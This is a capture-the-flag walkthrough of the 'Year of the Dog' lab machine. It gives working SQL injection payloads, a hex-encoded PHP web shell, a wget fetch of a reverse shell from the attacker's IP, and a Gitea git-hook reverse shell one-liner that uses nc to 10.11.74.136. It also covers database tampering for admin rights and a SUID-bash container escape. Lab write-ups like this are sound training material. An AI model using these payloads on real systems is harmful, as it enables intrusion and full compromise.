First of all, we add the machine to known hosts like:
Then, we perform a Nmap scan:
We check the website:
Viewing the source code, nothing useful is found. Then, inspecting the cookies of the page we found the following one:
Now we try to perform a sqli attack, by adding to the value a '. We get an error, so it is vulnerable to sqli attacks:
Now we try to perform a union based sqli by adding ' union select 1, @@version-- - to the value:
As we can see, the OS is displayed, so we could try to dump the database tables with ' union select 1, table_name FROM information_schema.tables-- -:
The table we find is called queue, so we can imagine that it only stores the number or identifier we are in the queue. Trying by another way, we can inject a web shell like this ' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -, where the last part is hex encoded (means <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>) and itโs the current web shell, where we could perform the following reverse shell.
Now search on the browser for yearofdog.thm/shell.php?cmd=ls:
Now that we can perform commands, we can upload a reverse php shell like PentestMonkey one:
Note that this one is compressed and without comments, but is just for efficiency reasons:
Create the shell like: vim sexyshell.php and paste the following script into it:
Then create a python server on the folder of the shell: python3 -m http.server 8090
Now on the browser download the sexyshell.php with: yearofdog.thm/shell.php?cmd=wget http://10.11.74.136:8090/sexyshell.php
Now set up a netcat listener like: nc -lvp 666
Search in the browser for: yearofdog.thm/sexyshell.php
Weโve got a reverse shell :D
Stabilise it first:
Now that we have a stable shell, find hidden files on the /home directory:
What is work_analysis? Letโs check it by doing less work_analysis:
It seems like a kind of log where someone tried to bruteforce the root login. Maybe there is a possibility that the user dylan introduced its username and password and got registered on the log. So we can grep its content by:
So now weโve got the username and password. Connect via ssh with that credentials: ssh dylan@yearofdog.thm:
Now we can obtain the user flag on his home directory:
Now go for the root flag. Upload linpeas to the /tmp directory:
Analyzing the results, we find that there is a strange port opened internally:
So we run ss -tulwn to see internal open ports (same command but by ourselves):
Taking this into account, we forward the traffic from port 8080 to port 3000 of the remote machine. To do this, Iโm going to use socat. Iโll upload the binariy and run the following command:
Secret service found! Kinda git I didnโt knew anything about.
We try to access to dylanโs account by logging in with his credentials:
Oops, 2FA. Letโs try by another way but letโs first create an account for ourselves to have persistence on the database.
Now, letโs search for the database of gitea. in the / directory, we can find /gitea, do diving in we find /gitea/gitea/gitea.db. Knowing the user and his password, we can download the database and modify it locally.
Now, open it by sqlite3 gitea.db
We can see our previously created account, so letโs know the userโs privileges:
Update our value to 1 to have admin access:
Now, upload this modified database to replace the original one and see the results in the browser:
Now we can see in the browser by refreshing the page, that we have admin privileges:
After a lot of searching and ruining my brain, I discovered Git Hooks, which are scripts executed by the server when a commit is pushed to a repository. So, as we have permissions to edit these, we can use them to gain RCE from the Gitea.
First, set up a netcat listener. Then, create a new repository, go to Settings >> Git Hooks and alter one of the three that are shown. In my case, Iโll edit the first one, pre-receive hook.
Add to the end the following line: mkfifo /tmp/f; nc 10.11.74.136 777 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f and update the hook:
Now, you must clone the repository you just created in the victimโs machine and perform a commit like:
Now weโve got a shell as git! Awesome right?
We can check now our current permissions with sudo -l:
With this, if we run sudo -s we are root.
Now, knowing that we are in a container, we search for some info around. I found that the directory /data is exactly the same as the victimโs machine /gitea:
So, with this info, I tried to copy a shell binary from the container into the /gitea directory but didnโt work. Other option that worked was to set up a webserver on the victimโs machine and download a copy of bash directly from the host. Then, I set it to have SUID and be executable by everyone:
Now, on the victimโs machine as dylan, we can navigate to the /gitea/ and find bash.
We can run bash -p and now we are root on the victimโs machine.